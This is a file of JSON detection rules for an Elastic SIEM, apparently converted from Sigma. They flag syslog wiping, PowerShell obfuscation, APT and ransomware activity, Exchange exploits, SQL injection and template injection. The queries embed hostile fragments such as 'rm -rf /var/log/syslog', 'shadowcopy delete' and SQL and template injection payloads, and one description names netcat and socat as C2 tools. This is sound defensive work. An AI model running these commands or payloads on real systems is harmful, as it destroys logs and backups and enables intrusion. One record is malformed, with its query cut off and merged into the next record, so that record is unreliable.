{"description": "Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks", "enabled": false, "false_positives": ["Log rotation."], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "665e678a-ff07-5069-29de-d5b665b85a6e", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Commands to Clear or Remove the Syslog", "query": "process.command_line.text:(*rm\\ \\/var\\/log\\/syslog* OR *rm\\ \\-r\\ \\/var\\/log\\/syslog* OR *rm\\ \\-f\\ \\/var\\/log\\/syslog* OR *rm\\ \\-rf\\ \\/var\\/log\\/syslog* OR *unlink\\ \\/var\\/log\\/syslog* OR *unlink\\ \\-r\\ \\/var\\/log\\/syslog* OR *unlink\\ \\-f\\ \\/var\\/log\\/syslog* OR *unlink\\ \\-rf\\ \\/var\\/log\\/syslog* OR *mv\\ \\/var\\/log\\/syslog* OR *\\ >\\/var\\/log\\/syslog* OR *\\ >\\ \\/var\\/log\\/syslog*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1070"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1070", "name": "Indicator Removal on Host", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Max Altgelt", "Roberto Rodriguez (Cyb3rWard0g)", "OTR (Open Threat Research)", "MSTIC"], "license": ""}
{"description": "Detects specific encoding method of cOnvErTTO-SECUreStRIng in the PowerShell command lines", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f88fa9af-a6cc-f190-0d7f-5ca7d35b0f4c", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Encoded PowerShell Command Line Usage of ConvertTo-SecureString", "query": "(process.executable:(*\\\\powershell.exe OR *\\\\pwsh.exe) AND process.command_line:*ConvertTo\\-SecureString*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Teymur Kheirkhabarov (idea)", "Vasiliy Burov (rule)", "oscd.community", "Tim Shelton"], "license": ""}
{"description": "Detects specific malware patterns used by FurBall malware linked to Iranian Domestic Kitten APT group", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "2dfb3a1a-d23e-ab24-569d-bd2a3206042d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Domestic Kitten FurBall Malware Pattern", "query": "url.original:(*Get\\~\\~\\~AllBrowser* OR *Get\\~\\~\\~HardwareInfo* OR *Take\\~\\~RecordCall* OR *Reset\\~\\~\\~AllCommand*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects specific patterns found after a successful ProxyLogon exploitation in relation to a Commandlet invocation of Set-OabVirtualDirectory", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "688b6535-a675-d004-25c9-e28ff8647067", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "ProxyLogon MSExchange OabVirtualDirectory", "query": "((*OabVirtualDirectory* AND * -ExternalUrl *) AND ((*eval(request*) OR (*{"description": "Detects specific process characteristics of Chinese TAIDOOR RAT malware load", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "8ab3f81e-544a-a152-6784-78fc4bc8baea", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "TAIDOOR RAT DLL Load", "query": "(process.command_line:(*dll,MyStart* OR *dll\\ MyStart*) OR (process.command_line:*\\ MyStart AND process.command_line:*rundll32.exe*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1055"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects specific process characteristics of Maze ransomware word document droppers", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9734b69f-cb1b-5dcb-2a96-1937e934804d", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Maze Ransomware", "query": "((process.parent.executable:*\\\\WINWORD.exe AND process.executable:*.tmp) OR (process.executable:*\\\\wmic.exe AND process.parent.executable:*\\\\Temp\\\\* AND process.command_line:*shadowcopy\\ delete) OR (process.command_line:*shadowcopy\\ delete AND process.command_line:*\\\\..\\\\..\\\\system32*))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1047", "T1204", "T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1047", "name": "Windows Management Instrumentation", "reference": ""}, {"id": "T1204", "name": "User Execution", "reference": ""}]}, {"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects specific process characteristics of Snatch ransomware word document droppers", "enabled": false, "false_positives": ["Scripts that shutdown the system immediately and reboot them in safe mode are unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "082a60b2-bcf4-4c50-5aab-80f659b88af7", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Snatch Ransomware", "query": "process.command_line:(*shutdown\\ \\/r\\ \\/f\\ \\/t\\ 00* OR *net\\ stop\\ SuperBackupMan*)", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c8996cfe-95cb-0c54-9bef-9bf010dfd812", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Winnti Malware HK University Campaign", "query": "((process.parent.executable:(*C\\:\\\\Windows\\\\Temp* OR *\\\\hpqhvind.exe*) AND process.executable:C\\:\\\\ProgramData\\\\DRM*) OR (process.parent.executable:C\\:\\\\ProgramData\\\\DRM* AND process.executable:*\\\\wmplayer.exe) OR (process.parent.executable:*\\\\Test.exe AND process.executable:*\\\\wmplayer.exe) OR process.executable:\"C\\:\\\\ProgramData\\\\DRM\\\\CLR\\\\CLR.exe\" OR (process.parent.executable:C\\:\\\\ProgramData\\\\DRM\\\\Windows* AND process.executable:*\\\\SearchFilterHost.exe))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Markus Neis"], "license": ""}
{"description": "Detects specific process characteristics of Winnti Pipemon malware reported by ESET", "enabled": false, "false_positives": ["Legitimate setups that use similar flags"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "c1a1ccaa-4f09-56c9-56e3-c27157ddbf3e", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Winnti Pipemon Characteristics", "query": "(process.command_line:*setup0.exe\\ \\-p* OR (process.command_line:*setup.exe* AND process.command_line:(*\\-x\\:0 OR *\\-x\\:1 OR *\\-x\\:2)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Defense Evasion", "T1574"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1574", "name": "Hijack Execution Flow", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community"], "license": ""}
{"description": "Detects specific process parameters as seen in DTRACK infections", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "bc4b033a-fcd1-99fd-6e19-1bbadc62dbc7", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "DTRACK Process Creation", "query": "process.command_line:*\\ echo\\ EEEE\\ >\\ *", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1490"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0034", "reference": "", "name": "Impact"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1490", "name": "Inhibit System Recovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects specific process parameters as used by ACTINIUM scheduled task persistence creation.", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "fa139a9d-b0c0-3cf2-76e8-d406176c6e69", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Scheduled Task WScript VBScript", "query": "(process.command_line:*schtasks* AND process.command_line:*create* AND process.command_line:*wscript* AND process.command_line:*e\\:vbscript*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1053", "T1053"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}, {"id": "T1053", "name": "Scheduled Task/Job", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Andreas Hunkeler (@Karneades)"], "license": ""}
{"description": "Detects specific process parameters as used by Mustang Panda droppers", "enabled": false, "false_positives": ["Unlikely"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ad2bab79-5648-4491-12a2-67664b80ed23", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Mustang Panda Dropper", "query": "(process.command_line:(*Temp\\\\wtask.exe\\ \\/create* OR *%windir\\:\\~\\-3,1%%PUBLIC\\:\\~\\-9,1%* OR *\\/tn\\ \\\"Security\\ Script\\ * OR *%windir\\:\\~\\-1,1%*) OR (process.command_line:*\\/E\\:vbscript* AND process.command_line:*C\\:\\\\Users\\\\* AND process.command_line:*.txt* AND process.command_line:*\\/F*) OR process.executable:*Temp\\\\winwsh.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "oscd.community"], "license": ""}
{"description": "Detects specific techniques often seen used inside of PowerShell scripts to obfscuate Alias creation", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "750a3995-dac6-f39f-871d-ecd41a1ee8e6", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Potential PowerShell Obfuscation Using Character Join", "query": "(powershell.file.script_block_text:*\\-Alias* AND powershell.file.script_block_text:*\\ \\-Value\\ \\(\\-join\\(*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["Defense Evasion", "T1027", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["Internal Research"], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects SQL Injection attempts via GET requests in access logs", "enabled": false, "false_positives": ["Java scripts and CSS Files", "User searches in search boxes of the respective website", "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "b6fbbebb-5d28-1f7a-0f87-2f6a47f02960", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "SQL Injection Strings", "query": "((http.request.method:\"GET\" AND (*\\=select* OR *UNION\\ SELECT* OR *UNION%20SELECT* OR *UNION\\ ALL\\ SELECT* OR *UNION%20ALL%20SELECT* OR *CONCAT\\(0x* OR *order\\ by\\ * OR *order%20by%20* OR *information_schema.tables* OR *group_concat\\(* OR *table_schema* OR *select%28sleep%2810%29* OR *@@version* OR *'1'\\='1* OR *%271%27%3D%271* OR *SELECTCHAR\\(* OR *select\\ *\\ * OR *select%20*%20* OR *or\\ 1\\=1#* OR *or%201\\=1#*)) AND (NOT ((http.response.status_code:\"404\") OR (*\\=select2*))))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", "", "", ""], "timestamp_override": "event.ingested", "author": ["Saw Win Naung", "Nasreddine Bencherchali"], "license": ""}
{"description": "Detects sql injection that use GET requests by keyword searches in URL strings", "enabled": false, "false_positives": ["Java scripts and CSS Files", "User searches in search boxes of the respective website"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "8909430e-f03c-d693-3707-a2cf2cd8174d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Detect Sql Injection By Keywords", "query": "(*\\=select* OR *\\=union* OR *\\=concat*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Saw Win Naung"], "license": ""}
{"description": "Detects SSTI attempts sent via GET requests in access logs", "enabled": false, "false_positives": ["User searches in search boxes of the respective website", "Internal vulnerability scanners can cause some serious FPs when used, if you experience a lot of FPs due to this think of adding more filters such as \"User Agent\" strings and more response codes"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "80f54e12-a9a5-ae53-3c48-2f532a1520dc", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Server Side Template Injection Strings", "query": "((http.request.method:\"GET\" AND (*\\=\\{\\{* OR *\\=%7B%7B* OR *\\=$\\{* OR *\\=$%7B* OR *\\=<%\\=* OR *\\=%3C%25\\=* OR *\\=@\$* OR *freemarker.template.utility.Execute* OR *.getClass\\(\$.forName\$'javax.script.ScriptEngineManager'\$* OR *T\$org.apache.commons.io.IOUtils\$*)) AND (NOT (http.response.status_code:\"404\")))", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nasreddine Bencherchali"], "license": ""}
{"description": "Detects starting browser with remote debugging flag, may be used for browser injection attacks", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a92b5298-7490-2b46-6c2a-3de00415047c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Browser Started with Remote Debugging", "query": "(process.command_line.text:(*\\ \\-\\-remote\\-debugging\\-address\\=* OR *\\ \\-\\-remote\\-debugging\\-port\\=*) OR (process.executable.text:*\\\\firefox.exe AND process.command_line.text:*\\ \\-start\\-debugger\\-server\\ *))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1185"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["pH-T"], "license": ""}
{"description": "Detects static QMS 810 and mimikatz driver name used by Mimikatz as exploited in CVE-2021-1675 and CVE-2021-34527", "enabled": false, "false_positives": ["Legitimate installation of printer driver QMS 810, Texas Instruments microLaser printer (unlikely)"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "aa3a2d06-d650-0d6f-fef0-6988088c02c3", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "PrinterNightmare Mimimkatz Driver Name", "query": "((winlog.event_data.TargetObject:(*\\\\Control\\\\Print\\\\Environments\\\\Windows\\ x64\\\\Drivers\\\\Version\\-3\\\\QMS\\ 810\\\\* OR *\\\\Control\\\\Print\\\\Environments\\\\Windows\\ x64\\\\Drivers\\\\Version\\-3\\\\mimikatz*) OR (winlog.event_data.TargetObject:*legitprinter* AND winlog.event_data.TargetObject:*\\\\Control\\\\Print\\\\Environments\\\\Windows*)) OR (winlog.event_data.TargetObject:(*\\\\Control\\\\Print\\\\Environments* OR *\\\\CurrentVersion\\\\Print\\\\Printers*) AND winlog.event_data.TargetObject:(*Gentil\\ Kiwi* OR *mimikatz\\ printer* OR *Kiwi\\ Legit\\ Printer*)))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["T1204"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1204", "name": "User Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis", "@markus_neis", "Florian Roth"], "license": ""}
{"description": "Detects strings used in command execution in DNS TXT Answer", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "317d433d-fb2f-6879-c354-e0086da20084", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "DNS TXT Answer with Possible Execution Strings", "query": "(dns.question.type:\"TXT\" AND dns.answers.name:(*IEX* OR *Invoke\\-Expression* OR *cmd.exe*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Markus Neis"], "license": ""}
{"description": "Detects successful code compilation via Visual Basic Command Line Compiler that utilizes Windows Resource to Object Converter.", "enabled": false, "false_positives": ["Utilization of this tool should not be seen in enterprise environment"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "23da0d68-8642-1df8-71eb-c1accdd486f6", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Visual Basic Command Line Compiler Usage", "query": "(process.parent.executable:*\\\\vbc.exe AND process.executable:*\\\\cvtres.exe)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Ensar \u015eamil", "@sblmsrsn", "@oscd_initiative"], "license": ""}
{"description": "Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480", "author": ["Florian Roth"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "c385d101-9d9b-8938-4fda-91cbb468304a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Exchange Exploitation CVE-2021-28480", "query": "((cs-uri-query:*\\/owa\\/calendar\\/a* AND http.request.method:\"POST\") AND (NOT (http.response.status_code:\"503\")))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "c385d101-9d9b-8938-4fda-91cbb468304a", "language": "lucene", "max_signals": 100, "risk_score": 95, "name": "Exchange Exploitation CVE-2021-28480", "query": "((url.original:*\\/owa\\/calendar\\/a* AND http.request.method:\"POST\") AND (NOT (http.response.status_code:\"503\")))", "meta": {"from": "1m"}, "severity": "critical", "tags": ["Initial Access", "T1190"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0001", "reference": "", "name": "Initial Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1190", "name": "Exploit Public-Facing Application", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Florian Roth"], "license": ""}
{"description": "Detects successful installation of Atera Remote Monitoring & Management (RMM) agent as recently found to be used by Conti operators", "enabled": false, "false_positives": ["Legitimate Atera agent installation"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "75c38556-9b4f-8ac4-d575-e2f9a3651ad7", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Atera Agent Installation", "query": "(winlog.channel:\"Application\" AND winlog.event_id:\"1033\" AND Provider_Name:\"MsiInstaller\" AND Message:*AteraAgent*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1219"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Bhabesh Raj"], "license": ""}
{"description": "Detects successful logon with logon type 9 (NewCredentials) which matches the Overpass the Hash behavior of e.g Mimikatz's sekurlsa::pth module.", "enabled": false, "false_positives": ["Runas command-line tool using /netonly parameter"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "a501df14-7a14-33b2-0adb-d9e8129e56dd", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Successful Overpass the Hash Attempt", "query": "(winlog.channel:\"Security\" AND winlog.event_id:\"4624\" AND winlog.event_data.LogonType:\"9\" AND winlog.event_data.LogonProcessName:\"seclogo\" AND winlog.event_data.AuthenticationPackageName:\"Negotiate\")", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement", "T1550"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0008", "reference": "", "name": "Lateral Movement"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1550", "name": "Use Alternate Authentication Material", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["Roberto Rodriguez (source)", "Dominik Schaudel (rule)"], "license": ""}
{"description": "Detects suspect access to svchost process memory such as that used by Invoke-Phantom to kill the winRM windows event logging service.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5fa2b4b5-958c-eaf6-afc7-5cb40f2f76e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspect Svchost Memory Asccess", "query": "((winlog.event_data.TargetImage:*\\\\WINDOWS\\\\System32\\\\svchost.exe AND winlog.event_data.GrantedAccess:\"0x1F3FFF\" AND winlog.event_data.CallTrace:*UNKNOWN*) AND (NOT ((process.executable.text:C\\:\\\\Program\\ Files\\\\Microsoft\\ Visual\\ Studio\\\\* AND process.executable.text:*\\\\MSBuild\\\\Current\\\\Bin\\\\MSBuild.exe AND winlog.event_data.CallTrace:(*Microsoft.Build.ni.dll* OR *System.ni.dll*)))))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1562"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1562", "name": "Impair Defenses", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Tim Burrell"], "license": ""}
{"description": "Detects suspicious .NET assembly executions. Could detect using Cobalt Strike's command execute-assembly.", "enabled": false, "false_positives": [" - rundll32.exe with zzzzInvokeManagedCustomActionOutOfProc in command line and msiexec.exe as parent process"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "9fbbe395-f009-30c1-c36b-13f47dd1e1e0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspcious CLR Logs Creation", "query": "(file.path:*\\\\AppData\\\\Local\\\\Microsoft\\\\CLR* AND file.path:*\\\\UsageLogs\\\\* AND file.path:(*mshta* OR *cscript* OR *wscript* OR *regsvr32* OR *wmic* OR *rundll32* OR *svchost*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1059", "T1218"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1218", "name": "Signed Binary Proxy Execution", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["omkar72", "oscd.community", "Wojciech Lesicki"], "license": ""}
{"description": "Detects suspicious \"epmap\" connection to a remote computer via remote procedure call (RPC)", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "02009ec5-d936-df04-ee49-0a5657d2959d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Epmap Connection", "query": "((Protocol:\"tcp\" AND winlog.event_data.Initiated:\"true\" AND destination.port:\"135\") AND (NOT (process.executable:C\\:\\\\Windows\\\\*)))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Lateral Movement"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Detects suspicious a certutil command that used to encode files, which is sometimes used for data exfiltration", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "87b4f080-8bab-27d0-1f35-8cd79cb9d29c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Certutil Encode", "query": "(process.executable:*\\\\certutil.exe AND process.command_line:*\\-f* AND process.command_line:*\\-encode*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Florian Roth", "Jonhnathan Ribeiro", "oscd.community"], "license": ""}
{"description": "Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539", "author": ["Tobias Michalski", "Max Altgelt"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["filebeat-*"], "interval": "5m", "rule_id": "1ba17f7e-66ab-9981-a798-39c238eb3a3d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "ADSelfService Exploitation", "query": "cs-uri-query:(*\\/help\\/admin\\-guide\\/Reports\\/ReportGenerate.jsp* OR *\\/ServletApi\\/..\\/RestApi\\/LogonCustomization* OR *\\/ServletApi\\/..\\/RestAPI\\/Connection*)", "meta": {"from": "1m"}, "severity": "high", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'. This includes the detection of the following commands; wget, curl, base64, nc, netcat, ncat, ssh, socat, wireshark, rawshark, rdesktop, nmap. These commands match a few techniques from the tactics \"Command and Control\", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)", "enabled": false, "false_positives": ["Admin or User activity"], "filters": [], "from": "now-360s", "immutable": false, "index": ["apm-*-transaction", "auditbeat-*", "endgame-*", "filebeat-*", "packetbeat-*", "winlogbeat-*", "logs-*"], "interval": "5m", "rule_id": "764f7b4b-56f5-1e92-008d-00d608acba39", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious C2 Activities", "query": "key:\"susp_activity\"", "meta": {"from": "1m"}, "severity": "medium", "tags": [], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "timestamp_override": "event.ingested", 